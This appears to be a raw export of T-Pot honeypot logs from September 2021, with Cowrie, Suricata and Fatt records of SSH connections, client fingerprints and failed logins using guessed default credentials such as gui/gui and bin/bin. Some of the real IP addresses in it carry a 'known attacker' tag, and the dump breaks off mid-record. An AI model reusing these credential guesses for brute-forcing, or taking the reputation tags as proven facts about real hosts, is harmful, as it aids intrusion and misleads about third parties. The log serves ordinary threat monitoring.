"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26074	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:38.758291+03	2021-09-20 14:15:12.795645+03	{"_id": "vAbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "95fb00b134d2", "@version": "1", "duration": 2.7009403705596924, "timestamp": "2021-09-20T11:11:38.758291Z", "@timestamp": "2021-09-20T11:11:38.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26075	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:38.776335+03	2021-09-20 14:15:12.796646+03	{"_id": "vQbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "debf483f58c7", "@version": "1", "timestamp": "2021-09-20T11:11:38.776335Z", "@timestamp": "2021-09-20T11:11:38.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26076	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:39.084007+03	2021-09-20 14:15:12.797645+03	{"_id": "vgbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "47b5e57a6bd5", "@version": "1", "duration": 4.984217882156372, "timestamp": "2021-09-20T11:11:39.084007Z", "@timestamp": "2021-09-20T11:11:39.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26077	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:39.163167+03	2021-09-20 14:15:12.798646+03	{"_id": "vwbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "41b31117fdcd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:39.163167Z", "@timestamp": "2021-09-20T11:11:39.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26078	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:39.393557+03	2021-09-20 14:15:12.801647+03	{"_id": "wAbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [gui/gui] failed", "session": "19b9242efb98", "@version": "1", "password": "gui", "username": "gui", "timestamp": "2021-09-20T11:11:39.393557Z", "@timestamp": "2021-09-20T11:11:39.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26079	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:39.451743+03	2021-09-20 14:15:12.802645+03	{"_id": "wQbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "41b31117fdcd", "@version": "1", "timestamp": "2021-09-20T11:11:39.451743Z", "@timestamp": "2021-09-20T11:11:39.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26080	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:39.442812+03	2021-09-20 14:15:12.804646+03	{"_id": "wgbnAnwBvYTbRNuEhh-7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 292113282134611, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41270, "dest_port": 22, "timestamp": "2021-09-20T11:11:39.442812Z", "@timestamp": "2021-09-20T11:11:39.442Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26081	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:39.45095+03	2021-09-20 14:15:12.805645+03	{"_id": "wwbnAnwBvYTbRNuEhx_d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41270, "dest_port": 22, "timestamp": "2021-09-20T11:11:39.450950", "@timestamp": "2021-09-20T11:11:39.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26082	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:40.203552+03	2021-09-20 14:15:12.806646+03	{"_id": "ygbnAnwBvYTbRNuEiB96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [bin/bin] failed", "session": "39e9467c2947", "@version": "1", "password": "bin", "username": "bin", "timestamp": "2021-09-20T11:11:40.203552Z", "@timestamp": "2021-09-20T11:11:40.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26083	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:40.510919+03	2021-09-20 14:15:12.808645+03	{"_id": "xgbnAnwBvYTbRNuEiB96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "84cfb61ab228", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:40.510919Z", "@timestamp": "2021-09-20T11:11:40.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26084	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:39.679533+03	2021-09-20 14:15:12.810646+03	{"_id": "zgbnAnwBvYTbRNuEiB96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "21ac73c02150", "@version": "1", "duration": 2.5613391399383545, "timestamp": "2021-09-20T11:11:39.679533Z", "@timestamp": "2021-09-20T11:11:39.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26085	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:45.924878+03	2021-09-20 14:15:12.811646+03	{"_id": "LwbnAnwBvYTbRNuEniAv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 456447321285388, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46516, "dest_port": 22, "timestamp": "2021-09-20T11:11:45.924878Z", "@timestamp": "2021-09-20T11:11:45.924Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26086	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:45.725362+03	2021-09-20 14:15:12.812646+03	{"_id": "MAbnAnwBvYTbRNuEnyBT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 